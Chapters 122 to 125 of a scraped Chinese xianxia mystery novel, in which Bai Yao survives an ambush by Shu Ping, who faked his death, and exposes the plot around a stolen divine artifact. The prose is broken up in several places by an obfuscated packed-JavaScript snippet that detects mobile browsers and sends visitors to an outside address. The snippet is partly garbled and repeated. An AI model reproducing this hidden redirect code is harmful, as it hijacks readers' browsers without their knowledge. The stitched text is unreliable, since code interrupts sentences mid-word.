这间房先前是小峰住的,在他们来到虚云山庄的第一个晚上换给了蜀平,小峰住进了原本在二楼的房间。第一夜小峰死后,他的房间又换给了孔君山。 白瑶悄悄溜进屋内,燃起一点幽暗的灯光,环顾房间的陈设。 蜀平住在三楼的里间,如果第二天晚上要出门,必然会从她们房门前经过。她那日晚上睡得人事不知,但房黎儿声称她一夜未眠,并没有听到声响。这一点,晏离与孔君山也没有异议。 蜀平的块头不似小峰,在狭窄的楼道间难免会留下痕迹,但他们搜索了几日却一无所获。这些房间的格局大抵相似,窗户只有半米,除非蜀平能缩骨,否则以他的身型很难悄声无息地从窗口出去。蜀平究竟是怎么下楼的? 白瑶凑近窗口,窗框四周完好无损,不像有人动过的样子。她俯身向下望去,窗外是院子的枯木与那间矮矮的书阁,这间房间的下方,正好是灵月和灵夜的房间。 白瑶用仙力点亮了一个光团,蹲下身,仔细查看房内的地面,从窗边一直延伸至床边,陈旧的木质地板上显露细碎的刮痕和一道不太明显的缝隙。 先前房黎儿关窗户时说过雾气跑进来会侵蚀屋内的陈设,山庄常年暴露在湿气中,外表依旧精致光鲜,屋内的陈设也不见腐朽,材质应当有特殊之处。既然如此,这地板上的缝隙会不会是人为的? 她俯下身贴在地面上,眼睛透过缝隙,隐隐约约向下望去,下方正是孔君山现在的房间。 这么说,第一日晚蜀平能透过这个缝隙知道小峰房间内的动静。 白瑶蹲在地上认真思索着,总觉得有哪里不对,悠悠抬起头,瞳孔猛地一缩。 屋内本应该一片昏暗,只有她手上一点仙力作为光线,但此时房梁上隐藏在黑暗之中却有一双瞪大的眼睛泛着危险的暗光,正虎视眈眈地望着她。 寒意瞬间逼上头顶,身体的血液猝然冷却,她想尖叫,但找不到自己的声音。 昏暗中,房梁上的人缓缓勾起了嘴角,但那笑意虚假又残忍,像是埋伏已久的野兽终于找到了狩猎的机会。 白瑶僵硬的身体微微一动,房梁上硕大的身躯如轻燕一般悄然落地,一招便掐住了她的脖颈。 123. 第 123 章 粗糙的手掌像抓小鸡一般毫不费力,白瑶拼命拉扯着对方钳在她脖颈的手,但一点空气都吸不进去,她脸上渐渐浮现不正常的青白色,肺中的空气越来越少,双腿剧烈地挣扎起来。然而她越是挣扎,肺里的空气就消耗得越快,渐渐四肢没了力气。 为什么她动不了?白瑶眼前开始变得模糊,对方眼中露出残忍的笑意。只要将她抛尸楼外,明天太阳升起时,大家便会认为这又是一桩诅咒杀人。 小楼静悄悄的,她的挣扎消弭在沉寂之中,身后是迷雾笼罩的黑夜,雾气就像一双接引的手,如湖水漫过她的身体,要将她溺毙在混沌的夜里。 她用脚拼命勾着窗框,对方轻而易举地将她举出窗外。就在她的脚尖离开窗台的一瞬间,忽然天空电闪雷鸣,下方传来树叶哗哗作响。 深沉的天空擦出了一道白光,掐在白瑶脖子上的手顿了一下,忽而又加大了几分力急促地挤压下去。白瑶喉头突然闪过“咔嚓”一下骨头碎裂的声音,仿佛又出现了一重更加虚幻缥缈的力量要将她的意识从身体里抽离出去。 她的眼前愈加黑暗,眼皮渐渐垂下...... 就在黑暗降临的瞬间,她猛地咬破了舌头,血腥味充斥着鼻腔,从而获得一丝短暂的清醒。对方青白的脸在黑暗与白光之间纵横交错,紫色氤氲的气息包裹着庞大的身躯。 她身后是惨白的闪电,面前是黑暗的真相。 原来是这样。 她的眼珠微微转动,脖子上传来剧痛,像要将她碾碎一般。 哗啦—— 一道闪电猝然在她身后劈过。 白瑶惨白的脸上涌现了几道深色红痕,她睁开眼睛,瞳孔缩成了两道竖针,一张嘴露出了尖锐的牙齿。 那是野兽的形态。 对方一怔,手上突然传来如触电一般的刺痛。 在意识混沌之间,白瑶突然感觉脖子上一松,充沛的空气灌入肺部,她来不及看发生了什么,只能靠在来人的身上大口喘息着。伴随着吸入的空气,一股熟悉的清香稍稍安抚了她紧绷的神经,她身上的兽性逐渐消退。 她紧紧贴着晏离的衣襟,眼前是他利落的下颌线。他眼中透出森冷的肃杀之意,薄唇紧抿,明明是她差点丢了性命,但晏离的身体却比她还要冷上几分。 小楼内,对方喑哑的声音传来:“我以为你不会出来。” 晏离在夜空中一手搂着白瑶,一手握着仙力化作的长鞭,以雷霆之势向对方卷去。长鞭划过夜空,如惨白的闪电,所过之处轰然炸开数朵锋利的冰花。 对方刚才被晏离击中了一次,手臂灼伤,红肿的手臂上冒出寒冷的白气。 小楼内喧闹起来,房黎儿从另一侧探出头,一眼望见悬在空中的晏离与白瑶:“出什么事了?诶,你们怎么跑出去了?” 流逸持剑走下楼,不一会儿房黎儿和孔君山也下到一楼入口,几人守在小楼门口探头张望,都不敢轻易踏出门槛。 “那是......那是谁?”孔君山疑惑地望向三楼的窗口处,他数了数人数,心中一惊,又数了几遍:“啊!怎么多了一个人?” 白瑶吃力地搂着晏离的脖颈,透过窗口望向隐匿在黑暗中的人影,咬牙狠声道:“蜀平,你还活着!” 楼里几人俱是一惊,一时不知作何反应。 那是蜀平?怎么可能!他们可是见到了的!蜀平碎成了肉渣渣! 不等他们反应,蜀平后退两步从房间内一跃而出,将窗框撞裂,向外逃去。 院里又响起孔君山扯着嗓子的惊呼:“不能出去!会被诅咒的!” 白瑶转头劈头盖脸地骂道:“不会还有人不明白吧?诅咒是假的!都给我出来!”然后反手一掌劈向灵月所在的位置,灵光乍现,在夜空中闪过一道弧线。 “砰”的一声,灵月的房间被炸毁一角,顿时烟尘滚滚。 待浓烟散去,一直未露面的灵月才神色坦然、不紧不慢地从屋内走出来,身后跟着面无表情、身体僵硬的灵夜。 晏离与白瑶飞身追蜀平而去,流逸深深看了灵月一眼,大步走出小楼,拧眉看向蜀平逃走的方向,不多时也跟了上去。孔君山与房黎儿一愣,在门边犹犹豫豫地拿脚尖来回试探,依旧搞不清楚状况。 蜀平尚未跑远,硕大的身躯窜入山庄后的一片树林中,像一块庞然大物,专挑幽暗的地方躲。 晏离与白瑶从树林上方越过,落在他面前,拦住了他的去路。 盈盈月色下,两人的白衣泛着清冷的光辉。 蜀平一顿,向后退了半步。身后,流逸抱着长剑从树后走出,眼睛一眨不眨地锁定着他。 “又见面了。”白瑶咬牙切齿地说,她脖子上的红痕还在火辣辣地疼。 蜀平微微眯了一下眼,阴沉的目光却是落在了晏离身上:“原来是我有眼不识泰山。” 晏离没有出声,但身上散发的寒意让夜晚的树林更加阴森阒静。 流逸从阴影中走出,眼神泛着冷辉刺向蜀平:“你为何还活着?” 蜀平轻哼一声:“活着,还需要理由吗?” “可你明明已经四分五裂。”流逸的目光在蜀平身上暗暗打量,想找出蛛丝马迹。 “那不过是个障眼法,看,你不就被骗了?”蜀平的神情看似轻松,身体却绷得很紧,眼珠缓缓挪动,像是在等待时机。 能骗过所有人的障眼法,真的存在吗? 林中响起呼哧呼哧的喘息声。 不多时,灵月灵夜、孔君山、房黎儿也赶到了。 “哎哟喂,这到底是怎么回事?晚上不是不能出小楼吗?你们怎么全出来了?”孔君山的眼睛在几人之间胡乱瞟着。灵月此时相当沉寂,神色不明地跟在他身后。 白瑶挡住了他们的视线,眼中的怨恨像是翻涌的海浪,咬牙道:“人终于到齐了。” “什么意思?”房黎儿带着困惑望向蜀平,眼中透着一丝怯意:“他怎么还活着?” 蜀平似是不屑于回答这个问题,转而问:“你想做什么?”却是冲着晏离。 晏离眼中寒光一现,白瑶伸手拦住他:“等等,我和他的账还没有算。” 蜀平嗤笑一声,轻蔑地上下打量她几眼,不过是个毛头丫头,刚才如若不是晏离突然出手,她焉能活到现在?蜀平不将她放在眼里:“你?想怎么算账?” 白瑶脸色沉下来,心里气坏了,但还是压着怒气,目光灼灼地盯着他冷沉道:“当然是和那位一直藏在背后的人,算总账!” 众人一愣,不明白她什么意思。 “这到底是怎么回事?” “蜀平怎么又活过来了?那小峰呢?他还活着吗?” “什么一直藏在背后的人?哪里还有人?” 白瑶的目光在他们身上一一滑过,将他们的神情尽数收揽眼底,抿了抿唇,有条不紊地说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137787|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“大家稍安勿躁,等我将整件事情细细说来。今天夜里我准备就寝时,突然察觉到了一丝不同寻常的气息,所以起身查看,一路追踪到了隔壁房间,也就是三楼除了我与房黎儿所在之外的最后一间卧房。” 白瑶眼神一凌,狠狠瞪向蜀平:“蜀平死后,那间房空置下来,就在我于房内查看时,蜀平突然从房梁上跃下,想要置我于死地!” “什么?”房黎儿惊呼一声,压着眉疑惑地瞥了孔君山一眼:“难道他一直留在那间房内?可是......可是我们一起搜查过所有的房间,并没有发现异样。” 蜀平身体壮硕,小楼哪里有他的藏身之处?他要是一直躲在房梁之上,那房子早就塌了。 大家对孔君山的说辞不置可否,听白瑶继续说道:“他当然不可能一直待在房里。这件事情我们要从头说起。 “根据进入山庄的时间,我们先后分为了三拨,最早来到这座山庄的人是灵月,然后是流逸、蜀平和小峰,最后我、师父、房黎儿和孔君山几乎是同一时间进入山庄的。房黎儿若真是山庄庄主,那么她之前去哪儿了?为何现在才回来?” 房黎儿眨眨眼睛,似乎不明白她为什么突然牵扯到自己身上,再次解释道:“我记不起来了,遇见孔君山之前的事情好像都很模糊。” 孔君山看了她一眼,此时还不忘揶揄道:“原来你对我印象这么深刻。” 灵月若有所思:“该不会是你将她的记忆取走了吧?” 孔君山转头:”你别胡说,我要是有这本事,我早就把你们记忆全部取走了。” 白瑶打断他:“你确实没这本事。” 孔君山一哽:“你到底想说什么?” 白瑶接着说:“若我们之中有人有取走记忆的本事,确实方便不少,就算别人找到蛛丝马迹,也能让人全部忘掉。只是真有这样的事情吗?你们听说过这样的仙术吗?” 灵月带着思索的眼神望向房黎儿,说:“你是说,不存在取走记忆?难道房黎儿一直是装的?”她带着恨意的双眼瞪向房黎儿,一根看不见的操纵线陡然收紧,灵夜立刻摆出了攻击的架势。 房黎儿一听慌张道:“我真的不记得了。小妹妹,你什么意思?难道你觉得我在装失忆?” 白瑶摇摇头:“不,你确实失忆了,但不是有人取走了你的记忆,而是有人封印了你的记忆。先前师父在你的神识中探到了天庭的气息,我猜测,这件事应该是和天庭有关。你在进山庄之前,曾经和山庄内的某人见过面,在他封印了你的记忆之后,他进入了山庄,但是将你扔在了外面。” 房黎儿怔愣道:“哈?是谁这么丧心病狂?” “啊哈哈哈哈哈!”灵月拍手叫绝:“房黎儿,聪明反被聪明误!你也会被人玩弄!你也有今天!” “等等。”孔君山打断道:“这些只是你的猜测,你该不会全是猜测吧?” 白瑶冲他若有若无地笑了一下,孔君山一愣。 “当然不是。你继续听好,房黎儿怎么失忆并不重要,重要的是神器到底在哪儿?第一日晚上,我与房黎儿同屋,半夜我发现房黎儿不在房内,所以情急之下去了师父的房间。而她的解释是她在房梁上看到我出门了。 “我们看过房梁上确实有踩踏的痕迹,但她当时为何会出现在房梁上?就在刚才,蜀平从房梁上一跃而下,我突然想到当时房黎儿爬上房梁或许不是因为梦游......" 124. 第 124 章 “是神器。”晏离说。 房黎儿疑惑地皱起眉:“什么意思?我真的没拿神器,你们看我做什么?” 许久未出声的流逸目光中划过一丝了然,突然说:“房黎儿作为庄主,一定是感应到了神器的存在,所以才会半夜爬上房梁。” 灵月急切道:“那神器是在房梁上?可我们去看了,房梁上什么也没有。” 蜀平一直没有出声,目色深沉地望着白瑶。 白瑶毫不畏惧地迎上他的目光:“刚进入山庄时大家都没有防备,第一夜神器产生异动,所以才会惊动房黎儿。第一天晚上小峰被杀,应当也与神器相关。那天我们从他的房间搜出了一张空空如也的纸片,你们还记得吗?” “纸片怎么了吗?”大家出来得急,没有将小峰的布袋子带过来。 白瑶从衣襟夹出一张符纸:“我之前没有注意,这是张联络符。这种临时的符纸时间一长,上面的字迹会变淡,完全消散就会变成普通的纸条。” “你是说,小峰带的纸片是张联络符?”灵月问。 流逸:“你别忘了他是个信使。” “他要和谁联络?他是什么人?”房黎儿眼中泛起点点莹光,好像脑海中抓住了什么。几人互相打量,不知小峰要联络的人是否就在他们之中。 流逸目光深沉,思忖片刻,突然斩钉截铁地说:“他说他对青丘的地形不熟悉所以一进山便迷路了,可见他不是青丘之人。我们检查过他的尸身,没有散发出魔气,如果他不是魔族,那么他很有可能来自天庭。” 房黎儿漆黑的识海中猝然划过了一条银白色的线,她激动地瞪大了眼睛叫道:“小峰如果是天庭之人,就是他封印了我的记忆对不对?听说那神器的消息曾在天庭流传过,天庭的神官知道神器是什么样子,是他取走的神器对不对?诅咒是假的,他是取走了神器,所以被杀了。” “小峰是被谁杀的?”孔君山问。 “这就要问他了。”白瑶转过头,将众人的注意力再次聚集在蜀平身上。蜀平比他们略高一头,遮天蔽日的身体像一块巨石,耸立在几人之间。先前见他是个豪爽的老实人样,现在在黑暗中他庞大的身躯就像潜伏在林中蓄势待发的野兽。 半晌,蜀平开口,声音低沉:“我?” 白瑶点点头:“第二日早晨,我们看到你的尸体,你说那只是个障眼法。”她微眯了下眼睛,逼近了几步:“如果你想得到神器,大可以和我们一起找,多一个人说不定就多了一条线索,你却在第二日就急着用障眼法将我们甩掉,这是为何?” 蜀平神色冷静:“我不想和你们待在一起,一了百了是最好的办法。” 白瑶微眯了下眼:“哦?是么?让你不惜以死为由也要赶紧脱身,只是因为不想和我们待在一起?你白长了这么大的块头,还怕我们不成?” 余下几人目光灼灼地看着蜀平,眼中明显不信。 蜀平的眼神冷上几分:“你说是为什么?” 白瑶也不示弱,用狠厉的眼神瞪了回去:“你急着要脱身,是因为你拿到了神器。不,应该说,是你从小峰手中夺走了神器,并且将他灭口。如果你不尽快脱身,会有被大家怀疑的风险。” 如果不是白瑶今晚恰巧撞破了他的踪迹,他能躲到什么时候? 房黎儿倒吸一口冷气,身上鸡皮疙瘩起了一身,攥着衣袖后退了几步,尽量离蜀平远一点。 “你早就知道这件事了?”流逸抬眼看向身旁的灵月,灵月避开他的目光神色坦然道:“无可奉告。” “她不说我可以替她说。”白瑶说完,灵月脸色一变,眼波变换几次,露出一丝危险的神色:“你想说什么。” 白瑶摇了摇头:“你原本的目标是用神器将灵夜变成真的,如果你知道神器是蜀平拿走了,并且他还安然无恙,一定会与他发生争执。但你没有,所以,要么是你的目的发生了变化,要么是你找到了新的办法。” 灵月扯了扯嘴角,眼神有些瑟缩:“继续。” “从你的表现来看,你的目的尚未发生变化。基本可以排除第一个假设。”白瑶停顿了一下:“所以,你找了新的办法将灵夜变成人?” 灵月深吸一口气,目光在其余几人脸上扫过,又转向白瑶,故作轻松地笑道:“有意思,你倒是说说,我能有什么新办法?” 白瑶舔舔嘴唇,眼神悠悠转冷。一阵晚风从林中穿过,树叶在耳边沙沙作响。 “看,我都忘了还有一个人没有介绍。” 房黎儿一怔,扭头四下张望:“还有一人?难道小峰也没死?” “不。”白瑶转身,看向他们之中平日里惹人耳目,现在却出奇地安静的某人:“这件事情之中还有一人参与了进来,那个人就是你!” 房黎儿看向对方睁大了眼睛,半天说不出话。连流逸也露出了一丝惊讶,凝眉直直地打量着他。 成为众矢之的的孔君山,身体不由自主地退了一步,扯着嘴干笑两声:“你,你在说什么?你想把所有人都怀疑一遍吗?” “我没有怀疑所有人。只有你才有可能与灵月、蜀平配合,制造这一连串的事件。”白瑶笃定地说,脸上坚毅又认真,眼中闪烁着不容置喙的光芒。 “小峰第一日夜里并没有走出小楼,他早在我们到来之前就取走了神器。第一日他是在小楼内被杀死,然后抛尸到院子里的,为的就是制造诅咒杀人的假象。 “所谓的诅咒,不过是为了限制我们行动,掩盖第一天夜里发生的事情。而第二日蜀平的障眼法,之所以房黎儿说她一夜未眠,但没有听到走过的声音,是因为他那天晚上从一开始就没有上三楼,也没有从我们房门前经过。他一直躲在你的房间里。” “你是说,蜀平这些天一直躲在孔君山的房里?”房黎儿瞠目结舌。 白瑶紧紧盯着孔君山道:“没错,灵月的房里放置了许多制作木偶的器械,没有他的容身之地,他只能躲在孔君山的房间。但是灵夜在夜里能够自由行动,他知道夜里发生了什么。 “所以你索性将灵月拉入了你的计划之中,向她承诺了事成之后,有办法让灵夜成真,她才会为你们保守秘密。这也是为什么第三日,灵月会故意露出马脚,让我们知道她的身份。为的就是转移我们的注意力,替你们的行动做护。” 孔君山抱起双臂,看着白瑶一脸无奈地说:“呵,越说越离谱了。这就是你的推论?我做这些事情的意义是什么?” 他挑了下眉,神色虽然依旧玩世不恭,但语气隐隐夹杂着一丝愠怒:“你说神器被蜀平拿走了,我又要帮助灵月将灵夜变成真的,我是活菩萨吗?我捞着什么好处了?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137788|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 白瑶回头看了一眼晏离,转头说:“事到如今也就不必瞒着各位,我和师父是追踪魔族而来。” 流逸露出一丝警惕。 灵月吃了一惊,看她的反应好像并不知道这里还有魔族。 房黎儿就更是慌乱,东看看西看看:“还有魔族?魔族是什么啊?”房黎儿的记忆停留在进山庄之前,对魔族一无所知,但一听就知道不是个好名字。 “魔族不能来青丘吗?”孔君山含着笑问。 “可以呀。青丘民风淳朴,当然欢迎远道而来的客人。但做客便要有做客的样子,若是在别人的地盘肆无忌惮、无法无天,那就不要怪主人关门打狗、不留情面。”白瑶说的轻巧,但眼中流露犀利的神色,带着一种与生俱来的霸气,让林中的气氛突然变得沉重起来。 孔君山带着深究看向白瑶,渐渐凝眉:“你到底是什么人?” “我的身份固然重要,但现在不是重点。我与师父追踪这位魔族而来,进了虚云山庄却没有发现魔族的痕迹,让我险些忘了这件事情。但就在刚刚,我发现房间有东西跑过,我查看时又发现了魔气。” 众人已经被一连串的信息轰炸得麻木,做不出表情。 “是魔族走动时不经意间散发的气息。”流逸说:“我也有注意到,只是我对魔气并不熟悉。” 白瑶看向缄默的蜀平,他庞大的身躯犹如一座小山挡住了熹微的光线,看不清是什么表情: “没错。在我见到蜀平那一刻才突然明白,为何他要杀死小峰假死脱身,一方面是神器已经到手不需要再和我们纠缠不清,另一方面是因为他是魔族,他暴露的不单单是他自己。孔君山是为了掩护蜀平的身份,才会联合灵月制造一系列的假象。 “你杀了小峰,恐怕不止争夺神器这么简单。” 天界三地维持了数万年的和平,现在魔族开始和天庭抢夺神器,不惜杀害天庭使者,这意味着什么简直不言而喻。 话音刚落,轰的一声,白瑶被推出去数米,她反应及时,立刻在身前升起一道屏障,化掉了余下的冲击。 众人一惊,纷纷躲开数十米。 屏障之外,蜀平身上的魔气再也无须掩饰,紫色的魔气如同熊熊火焰包裹着他庞大的身躯,他向前迈了一步,眼神狠厉地盯着白瑶,声音危险低沉:“既然你都知道了,那就留不得你了。” “呵”白瑶没被吓唬住:“你以为你现在还能顺利脱身吗?” “等等,现在神器在谁那里?”房黎儿问,她急需找到神器,找回她之前的记忆。 白瑶的视线落在孔君山身上,对方微微一笑,神态自若,仿佛刚才剑拔弩张的对峙从没发生过一样,可谓心态极佳。 想要他交出神器恐怕不容易。 流逸的长剑出鞘,寒光一现,刀锋落在孔君山项侧一寸,沉声说:“把神器交出来。” 孔君山轻哼一声,一挑眉:“想打劫?就凭你?” 流逸一双利眼微张,就见孔君山未动,但身影一晃像幽魂一般瞬间向外挪了半米,恰好移动到剑所及的范围之外。 流逸剑花一翻,转瞬又逼了上去,但孔君山移动速度极快,仿佛一片随风飘荡的叶子,轻柔肆意,毫不费力。 流逸站定,凝眉紧紧盯着孔君山,咬牙道:“我竟是小看你了。” 125. 第 125 章 孔君山初见时一副酒醉的纨绔模样,让人觉得他玩世不恭、掉以轻心,没想到看上去最是不靠谱的人却隐藏得最深。他不知从哪儿变出一把折扇在胸前优哉游哉地扇起来:“好说好说,我不想让你们知道,你们当然就不会知道。不过......” 他扇子啪地一收,狭长的眼睛望着不远处的白瑶:“我倒是没想到会在这里遇见她。啧,看来以后会有好戏看了。” 饶是在对峙的状态,孔君山依旧心不在焉地左顾右盼,像是并未将对手放在眼中。流逸有些沉不住气,一个健步向他冲去。 孔君山的瞳孔中翻涌着缭乱的剑花,他神色淡定,仿佛那些剑花不是冲他而来。他抿起薄唇微微一笑,扇子半开,周遭忽而凭空出现一股气流卷上扇柄。 流逸屏息凝神,似乎在分辨这股气到底是什么。锋利的剑尖从气流上擦过,刺啦一声,被弹开了半臂距离。流逸瞳孔一缩,飞快再刺过去,又被弹开。他的剑居然无法靠近孔君山一寸之内。 他向后一跃退后几米,不敢贸然上前。 另一边,蜀平身上散发的魔气如烟似雾在林中弥漫。天色本就昏沉,紫色的魔气与山中大雾融为一体,林中被沉甸甸的云雾笼罩。他挂着诡谲的笑容一步一步向白瑶走去,晏离在不远处,手指微微一动,当即被白瑶喝止:“师父,你别动手。我要自己解决他。” 那口气丝毫不像一个刚刚死里逃生的人。 “哼,黄口小儿,你的脑子确实不错,但比仙术,你还太嫩了!”蜀平大喝一声,向上张开双臂,徒手释放出魔气,化成了一条粗壮的锁链,锁链两头挂着沉沉的铁球。 他将锁链在手上绕了几圈,甩着沉重的铁球划着圈,哗哗作响,狠狠向白瑶所在的位置砸去。铁球看似笨重,但他力大无穷,锁链就像与他的手臂融为一体,挥舞得潇洒自如、游刃有余,移动速度极快。 白瑶身姿轻盈,在铁球砸落的前一秒向后一跃,与铁球擦身而过。她悬在半空中,沉着脸说:“刚才是被你偷袭,让你占了上风,现在可没那么容易了。” 白瑶看上去还带着几分稚嫩,不像是个仙力高强之人,跟在她那飘飘欲仙的师父身旁,就像一个座下童子。蜀平原本并不重视她,但她适才被他打伤之后立刻向他发起挑战,嘴上一点也不示弱,倒是勇气可嘉。 不过,勇气在实力面前根本不值一提。 蜀平双掌之间忽而生成数道紫色气团,周身飓风呼啸,扬起漫天尘土落叶。风沙迷了白瑶的眼睛,迷雾中恍然出现了几道虚影,形态都与蜀平的身型相似。 白瑶眯起眼睛,又是障眼法吗? 她一时分辨不出,故意提高声调说道:“我当你有多厉害,不过会些糊弄人的雕虫小技。你一个人的存在都多余,还变出这么多分身来碍眼,是不是知道自己空有一副壮硕的躯体实则脑袋空空,所以本尊躲起来不敢见人了?” 白瑶的激将法没有得到蜀平的回应,几个身影在迷雾中一交错,更加似真似幻。 忽然迷雾中刺啦一响,仿佛尖锐利器破空而出。她赶紧跳开,但什么都没有发生。 耳旁传来蜀平哈哈大笑声:“是吗?我看这一招对你很管用。” 白瑶眉头紧锁,不敢掉以轻心。 是哪一个?眼前若隐若现的几道黑影,到底哪一个是本尊? 她忽然执起一掌,向面前的黑影拍去,仙力如箭羽划破笼罩的层层迷雾,向黑影袭去。然,黑影在攻击下模糊了一瞬,又挺立起来。 不是本尊吗? 白瑶心脏扑通狂跳,嘴唇紧抿,目光从黑影身上一一划过,紧绷的身体不敢有半点懈怠。 就在她屏息凝神的时候,后肩突然一痛,整个人向前扑去。 紫色气团穿梭于迷雾中,数量之多犹如漫天雨点,向她刺来。 白瑶甩袖挡开一波攻击,眼冒金星,跪倒在地上,肩胛骨仿佛碎裂了一般塌陷下去,半点力气也使不上。 “哈哈哈哈黄口小儿,你可认输?” 白瑶眉头紧锁,剧烈的心跳在耳骨撞击,烦躁之意仿佛要冲破颅顶。 这些虚影哪一个才是真的? 眼睛分辨不出怎么办? 有没有别的办法? 正当她焦躁之时,耳边忽而掀起一阵微微的清风,伴随着一个清冷的声音:“专注。” 像是黑暗中,有一双纤细的手轻轻拨动了琴弦,那悠悠天外之音空灵澄澈,如潺潺溪水冲刷了脑中多余的声音。 白瑶一顿,立刻沉下心,将那些杂乱的想法抛之脑后。她闭上眼睛,眼前一片黑暗,再也不用分辨哪些是真哪些是假。 大千世界,变幻莫测。虚虚实实,实实虚虚。 “感受他的灵体。” 灵,只有生物才拥有的特质。 他能隐藏自己庞大的身躯,但无法隐藏他存在的痕迹。 白瑶闭上眼睛,漆黑的世界里渐渐出现若隐若现的亮光。一个两个三个,渐渐浮现得越来越多,但是都很微弱。 唯有她近旁,有几点特别明亮,其中两炬灿烂如火球。 一个在高速移动中,迸发出灿烂的橘色,犹如璀璨的烟火。一个处于静止状态,散发着耀眼的白芒,像一盏指路的明灯。 不过在更近的地方,有一簇幽暗的紫色,像幽灵一般在暗处浮动。她能感受到,这簇紫色灵体的视线,牢牢锁在她身上,就像隐藏在草丛之中伺机而动的野兽。 他在等待时机。她也是。 蜀平见白瑶闭上双眼,等待片刻没有出招,觉得她是在故弄玄虚。就算她闭上眼睛也能知道他的方位又如何,不过一个小丫头片子,在重伤之下焉能再做抵抗? 蜀平不想再等,手中再次扬起不同大小的气团,与此同时,白瑶闭眼一跃,在空中翻身一弹指,一道白光划破重重雾霭。 空中响起一声尖利的摩擦声,一个庞然大物冲出数十米远,轰然撞击在一棵树干上。树干应声而倒,随之,林中晦暗的尘雾开始逐渐消散。 雾霭渐渐散去,只见蜀平庞大的身躯虚弱地靠在断木上。他一只手捂在眼上,指缝间淋淋漓漓的血水淌出来,顺着胳膊肘滴落在草地上。 这一变化,让不远处缠斗的两人猝然分开。 “什么?” 流逸瞳孔巨震,眼中压制不下的是对白瑶的惊愕。而孔君山表情也凝重了几分,但目光却是对着蜀平。 房黎儿瞪大了眼睛,在斗殴的四人间逡巡,不敢出声。 灵月靠在灵夜身上,目光晦暗不明。 白瑶从消散的雾气后走出,不由自主先去看晏离的反应。他还在原来的地方,视线与白瑶一触,眼神中的寒冰仿佛有一瞬间也随着消散的烟尘融化,眼底有微微赞许,但很快隐匿在拒人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137789|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于千里之外的淡漠中。 白瑶读懂了,或者说她觉得自己读懂了,那就是晏离对她的肯定,但是又觉得远远不够。 “咳咳。”蜀平撑起身体,看见手中满是鲜血,心中大怒,嘶吼一声,又要向白瑶扑来。 见状,孔君山忽然扬袖一击,流逸的身体在空中划出一道弧线,跌落在数十米远。他挣扎着想起身,但是力不从心,竟然一时无法动弹。 孔君山飞快拦在蜀平身前,架起他的手臂,低声说:“你不是她的对手。” 蜀平一怔,心有不甘,咬牙说:“......怎么可能?” “走。”孔君山一声令下,蜀平竟然不敢再多说,虽然咽不下这口气,但还是老老实实被孔君山托着,向山庄门口飞去。 山庄的门每逢朔月才能打开,他想逃去哪里? 灵月已经被今晚的变故吓得神情木讷,她没想到孔君山居然一击就能让流逸动弹不得,哪里还敢要求孔君山兑现让灵夜变成真的的承诺。 白瑶还要去追,身影一动,晏离出现在她面前。 “你......”白瑶有些不解。整件事情其实还有一个疑点,就是晏离到底知道些什么?他是什么时候知道的?他在其中充当什么角色? 白瑶坚持道:“师父与孔君山有什么纠葛我不想知道,但是我要打他便打,谁拦也不行。” 晏离的身影未动分毫,沉声道:“你打不过他。” 白瑶眼神一变,不服道:“什么意思?” “孔君山只是一个分身。” 地面上几人听了又是一惊,分身都有这么强的实力,那本尊究竟是何方神圣。 白瑶气极反笑:“他们两个做了见不得人的勾当,本尊都只会躲起来不敢见人。本尊我打不过,还打不过区区一个分身吗?分身受了重伤,本尊也不会好过。我就是要让他知道,我不好惹,下次再见我时躲远一点。” 晏离垂眸见她身体重心偏向一侧,眼底泛起晦涩不明的神情。 “不行。”声音冰冷如刃。 白瑶一愣,望向晏离清冷淡漠的眼眸,压抑又复杂的情绪在眼中浮现:“为什么?” 孔君山显然与蜀平是一伙儿的。为什么他们在重伤她之后,晏离还要护着孔君山?晏离恐怕在第一夜与孔君山共处一室时就发现了其中的端倪,他为何不告诉她? 白瑶心里一痛,喉头涌上一股微妙的酸涩,蹙着眉别过头,沉声说:“师父,我不会放过伤害过我的人。谁也不行。” 晏离能轻而易举地拦住她,但不知为何他看着白瑶眼中翻涌的情绪,却迟疑了一下。回过神来时,白瑶已与他错身而过,拖着沉重的半边身体,轰起一掌,直追远处的身影。 众目睽睽之下,孔君山不知掏出了什么,一道金光乍现,暗沉的苍穹瞬间被擦亮,顿时亮如白昼。孔君山就明目张胆地向那白昼的缝隙跃去,缝隙如一张裂口,随着他的靠近渐渐缝合。 光芒消散,黑暗再次聚拢。 白瑶纯净的仙力在空中划出一道尾迹,向那道裂口逼近,眼看就要追上孔君山。只要击中,孔君山一定无法全身而退,更不要说将蜀平带走。 